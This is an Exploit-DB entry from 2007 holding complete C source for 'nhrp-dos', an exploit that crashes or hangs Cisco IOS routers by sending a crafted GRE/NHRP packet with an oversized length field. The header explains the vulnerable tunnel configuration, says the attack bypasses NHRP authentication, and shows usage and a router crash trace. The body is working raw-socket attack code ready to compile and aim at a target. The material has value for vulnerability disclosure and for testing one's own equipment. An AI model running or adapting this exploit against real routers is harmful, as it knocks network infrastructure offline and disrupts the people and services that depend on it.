Cisco IOS Next Hop Resolution Protocol (NHRP) - Denial of Service

EDB-ID:

4272


Type:

dos


Platform:

Windows

Date:

2007-08-09


/******************************************************************************/
/*                                                                            */
/* nhrp-dos - Copyright by Martin Kluge, <mk@elxsi.de>                        */
/*                                                                            */
/* Feel free to modify this code as you like, as long as you include the      */
/* above copyright statement.                                                 */
/*                                                                            */
/* Please use this code only to check your OWN cisco routers.                 */
/*                                                                            */
/* Cisco bug ID: CSCin95836                                                   */
/*                                                                            */
/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */
/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */
/* subnetwork to determine the internetworking layer address and NBMA         */
/* subnetwork addresses of the NBMA next hop towards the destination.         */
/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */
/* IPSEC.                                                                     */
/*                                                                            */
/* URLs:                                                                      */
/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */
/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */
/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */
/*                        logies_white_paper09186a008018983e.shtml            */
/*                                                                            */
/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */
/* provided.                                                                  */
/*                                                                            */
/* Vulnerable images (tested):                                                */
/*                                                                            */
/*  - c7100-jk9o3s-mz.123-12e.bin                                             */
/*  - c7200-jk8o3s-mz.122-40.bin                                              */
/*  - c3640-js-mz.122-15.T17.bin                                              */
/* (and many other IOS versions on different platforms)                       */
/*                                                                            */
/* Vulnerable configuration on cisco IOS:                                     */
/*                                                                            */
/* interface Tunnel0                                                          */
/*  ip address 10.0.0.1 255.255.255.128                                       */
/*  no ip redirects                                                           */
/*  no ip proxy-arp                                                           */
/*  ip mtu 1464                                                               */
/*  ip nhrp authentication mysecret                                           */
/*  ip nhrp network-id 1000                                                   */
/*  ip nhrp map multicast dynamic                                             */
/*  ip nhrp server-only                                                       */
/*  ip nhrp holdtime 30                                                       */
/*  tunnel source FastEthernet0/0                                             */
/*  tunnel mode gre multipoint                                                */
/*  tunnel key 123456789                                                      */
/*                                                                            */
/* This exploit works even if "ip nhrp authentication" is configured on the   */
/* cisco router. You can also specify a GRE key (use 0 to disable this        */
/* feature) if the GRE tunnel is protected. You don't need to know the        */
/* NHRP network id (or any other configuration details, except the GRE key if */
/* it is set on the target router).                                           */
/*                                                                            */
/* NOTE: The exploit only seems to work, if a NHRP session between the target */
/*       router and at least one client is established.                       */
/*                                                                            */
/* Code injection is also possible (thanks to sky for pointing this out), but */
/* it is not very easy and depends heavily on the IOS version / platform.     */
/*                                                                            */
/* Example:                                                                   */
/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */
/*                                                                            */
/* Router console output:                                                     */
/*                                                                            */
/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */
/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */
/* <snip>                                                                     */
/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */
/* Cause 00000024 (Code 0x9): Breakpoint exception                            */
/*                                                                            */
/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */
/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */
/*                                                                            */
/* Router reboots or sometimes hangs ;)                                       */
/*                                                                            */
/*                                                                            */
/* Workaround: Disable NHRP ;)                                                */
/*                                                                            */
/* I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */
/* regarding this issue.                                                      */
/*                                                                            */
/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */
/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */
/*                   and #infiniteVOID                                        */
/*                                                                            */
/******************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>

/* BSD */
#define _BSD

/* Header sizes */
#define IP_HDR_SIZE     20
#define GRE_HDR_SIZE    4
#define GRE_KEY_SIZE    4
#define NHRP_HDR_SIZE   62

/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);

/* Globals */
int sockfd;
int nhrp_req_id;

/* GRE header */
struct gre_h {
        unsigned short flags;   /* GRE flags */
        unsigned short ptype;   /* GRE protocol type */
        unsigned int   key;     /* GRE key */
};

/* NHRP header */
struct nhrp_h { 
/* NHRP fixed header (20 bytes) */
        struct {
                unsigned short afn;             /* NHRP AFN */ 
                unsigned short proto;           /* NHRP protocol type */
                unsigned int   snap;            /* NHRP SNAP */
                unsigned short snapE:8;         /* NHRP SNAP */
                unsigned short hops:8;          /* NHRP hop count */
                unsigned short length;          /* NHRP total length */
                unsigned short checksum;        /* NHRP checksum */
                unsigned short mpoa_ext;        /* NHRP MPOA extensions */
                unsigned short version:8;       /* NHRP version */
                unsigned short type:8;          /* NHRP type */
                unsigned short nbma_addr:8;     /* NHRP t/l of NBMA address */
                unsigned short nbma_sub:8;      /* NHRP t/l of NBMA subaddr */
        } fixed; 

        /* NHRP mandatory part */
        struct {
                unsigned short src_len:8;       /* NHRP src protocol length */
                unsigned short dst_len:8;       /* NHRP dest protocol length */
                unsigned short flags;           /* NHRP flags */
                unsigned int   request_id;      /* NHRP request ID */
                unsigned long  client_nbma;     /* NHRP client NBMA address */
                unsigned long  client_nbma_sub; /* NHRP client NBMA subaddr */
                unsigned long  client_pro_addr; /* NHRP client protocol addr */
        } mand;

        /* NHRP client information entries (CIE) */
        union {
                struct {
                        unsigned short code:8;          /* NHRP code */
                        unsigned short pref_len:8;      /* NHRP prefix length */
                        unsigned short reserved;        /* NHRP reserved */
                        unsigned short mtu;             /* NHRP MTU */
                        unsigned short holding_time;    /* NHRP holding time */
                        unsigned short len_client:8;    /* NHRP t/l cl addr */
                        unsigned short len_client_sub:8;/* NHRP t/l cl sub */
                        unsigned short len_client_pro:8;/* NHRP t/l cl pro */
                        unsigned short preference:8;    /* NHRP preference */
                        unsigned short ext;             /* NHRP extension */
                } cie;
        };
};


/* Main function */
int main (int argc, char **argv) {
        /* Check command line */
        if(argc != 4) {
                fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
                fprintf(stderr, "------------------------------------------------\n");
                fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
                fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
                exit(EXIT_FAILURE);
        }

        /* Check UID */
        if(getuid() != 0 && geteuid() != 0) {
                fprintf(stderr, "Error: Please run as root!\n");
                exit(EXIT_FAILURE);
        }

        /* Open a socket */
        sockfd = open_socket();

        /* Send DoS packet */
        send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));

        /* Close the socket */
        close_socket(sockfd);
        
        exit(EXIT_SUCCESS);
}


/* Open the socket */
int open_socket (void)
{
        int fd;
        int one = 1;
        void *ptr = &one;

        /* Open the socket */
        fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
        if(fd < 0) {
                fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
                exit(EXIT_FAILURE);
        }

        /* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
        /* Otherwise it would be done by the kernel. */
        if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
                fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
                exit(EXIT_FAILURE);
        }

        #ifndef _BSD
        if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) < 0) {
                fprintf(stderr,"Error: open_socket: setsockopt failed.\n");
                exit(EXIT_FAILURE);
        }
        #endif

        return(fd);
}


/* Close the socket */
int close_socket (int fd)
{
        return(close(fd));
}


/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
        struct in_addr addr;
        struct hostent *host_ent;

        if((addr.s_addr = inet_addr(host)) == -1) {
                if(!(host_ent = gethostbyname(host)))
                        return(-1);

                memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
        }

        return(addr.s_addr);
}


/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
        int tmp_fd;
        struct ifreq ifr;
        struct sockaddr_in *sin;

        tmp_fd = socket(PF_INET, SOCK_DGRAM, 0);

        if(tmp_fd < 0) {
                fprintf(stderr, "Error: get_int_ipv4: socket failed.\n");
                exit(EXIT_FAILURE);
        }

        memset(&ifr, 0, sizeof(ifr));
        sin = (struct sockaddr_in *) &ifr.ifr_addr;
        strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

        ifr.ifr_addr.sa_family = AF_INET;

        if(ioctl(tmp_fd, SIOCGIFADDR, (char *) &ifr) < 0) {
                fprintf(stderr, "Error: get_int_ipv4: ioctl failed.\n");
                exit(EXIT_FAILURE);
        }

        close(tmp_fd);
        return(sin->sin_addr.s_addr);
}


/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
               unsigned long gre_key)
{
        struct ip ip_hdr;
        struct ip *iphdr;
        struct gre_h gre_hdr;
        struct nhrp_h nhrp_hdr;
        struct sockaddr_in sin;
        unsigned int bytes = 0;
        int GRE_SIZE = GRE_HDR_SIZE;

        /* Packet buffer */
        unsigned char *buf;

        if(gre_key!=0)
                GRE_SIZE+=GRE_KEY_SIZE;

        /* Allocate some memory */
        buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE);

        if(buf < 0) {
                fprintf(stderr, "Error: send_dos: malloc failed.\n");
                exit(EXIT_FAILURE);
        }

        /* Increment NHRP request ID */
        nhrp_req_id++;

        /* IPv4 Header */
        ip_hdr.ip_v             = 4;                    /* IP version */
        ip_hdr.ip_hl            = 5;                    /* IP header length */
        ip_hdr.ip_tos           = 0x00;                 /* IP ToS */
        ip_hdr.ip_len           = htons(IP_HDR_SIZE  +
                                   GRE_SIZE +
                                   NHRP_HDR_SIZE
                                  );                    /* IP total length */
        ip_hdr.ip_id            = 0;                    /* IP identification */
        ip_hdr.ip_off           = 0;                    /* IP frag offset */
        ip_hdr.ip_ttl           = 64;                   /* IP time to live */
        ip_hdr.ip_p             = IPPROTO_GRE;          /* IP protocol */
        ip_hdr.ip_sum           = 0;                    /* IP checksum */
        ip_hdr.ip_src.s_addr    = src_ip;               /* IP source */
        ip_hdr.ip_dst.s_addr    = dst_ip;               /* IP destination */

        /* GRE header */
        if(gre_key != 0) {
                gre_hdr.flags   = htons(0x2000);        /* GRE flags */
                gre_hdr.key     = htonl(gre_key);       /* GRE key */
        } else {
                gre_hdr.flags   = 0;
        }

        gre_hdr.ptype           = htons(0x2001);        /* GRE type (NHRP) */

        /* NHRP fixed header */
        nhrp_hdr.fixed.afn      = htons(0x0001);        /* NHRP AFN */
        nhrp_hdr.fixed.proto    = htons(0x0800);        /* NHRP protocol type */
        nhrp_hdr.fixed.snap     = 0;                    /* NHRP SNAP */
        nhrp_hdr.fixed.snapE    = 0;                    /* NHRP SNAP */
        nhrp_hdr.fixed.hops     = 0xFF;                 /* NHRP hop count */

        /* DoS -> Set length to 0xFFFF */
        nhrp_hdr.fixed.length   = htons(0xFFFF);        /* NHRP length */

        /* Checksum can be incorrect */
        nhrp_hdr.fixed.checksum = 0;                    /* NHRP checksum */

        nhrp_hdr.fixed.mpoa_ext = htons(0x0034);        /* NHRP MPOA ext */
        nhrp_hdr.fixed.version  = 1;                    /* NHRP version */
        nhrp_hdr.fixed.type     = 3;                    /* NHRP type */
        nhrp_hdr.fixed.nbma_addr= 4;                    /* NHRP NBMA t/l addr */
        nhrp_hdr.fixed.nbma_sub = 0;                    /* NHRP NBMA t/l sub */

        /* NHRP mandatory part */
        nhrp_hdr.mand.src_len   = 4;                    /* NHRP src proto len */
        nhrp_hdr.mand.dst_len   = 4;                    /* NHRP dst proto len */
        nhrp_hdr.mand.flags     = htons(0x8000);        /* NHRP flags */
        nhrp_hdr.mand.request_id  = htonl(nhrp_req_id); /* NHRP request ID */
        nhrp_hdr.mand.client_nbma = src_ip;             /* NHRP client addr */
        nhrp_hdr.mand.client_nbma_sub = 0;              /* NHRP client sub  */
        nhrp_hdr.mand.client_pro_addr = 0;              /* NHRP client proto */ 

        /* NHRP client information entries (CIE) */
        nhrp_hdr.cie.code       = 0;                    /* NHRP code */
        nhrp_hdr.cie.pref_len   = 0xFF;                 /* NHRP prefix len */
        nhrp_hdr.cie.reserved   = 0x0000;               /* NHRP reserved */
        nhrp_hdr.cie.mtu        = htons(1514);          /* NHRP mtu */
        nhrp_hdr.cie.holding_time = htons(30);          /* NHRP holding time */
        nhrp_hdr.cie.len_client = 0;                    /* NHRP t/l client */
        nhrp_hdr.cie.len_client_sub = 0;                /* NHRP t/l sub */
        nhrp_hdr.cie.len_client_pro = 0;                /* NHRP t/l pro */
        nhrp_hdr.cie.preference = 0;                    /* NHRP preference */
        nhrp_hdr.cie.ext        = htons(0x8003);        /* NHRP C/U/Type (ext)*/


        /* Copy the IPv4 header to the buffer */
        memcpy(buf, (unsigned char *) &ip_hdr, sizeof(ip_hdr));

        /* Copy the GRE header to the buffer */
        memcpy(buf + IP_HDR_SIZE, (unsigned char *) &gre_hdr, sizeof(gre_hdr));

        /* Copy the NHRP header to the buffer */
        memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) &nhrp_hdr,
                sizeof(nhrp_hdr));

        /* Fix some BSD bugs */
        #ifdef _BSD
        iphdr = (struct ip *) buf;
        iphdr->ip_len = ntohs(iphdr->ip_len);
        iphdr->ip_off = ntohs(iphdr->ip_off);
        #endif

        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = iphdr->ip_dst.s_addr;

        printf("\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
        printf("------------------------------------------------\n");
        printf("Sending DoS packet...");

        /* Send the packet */
        bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
                        (struct sockaddr *) &sin, sizeof(struct sockaddr));

        printf("DONE (%d bytes)\n\n", bytes);

        /* Free the buffer */
        free(buf);

        /* Return number of bytes */
        return(bytes);
}

// milw0rm.com [2007-08-09]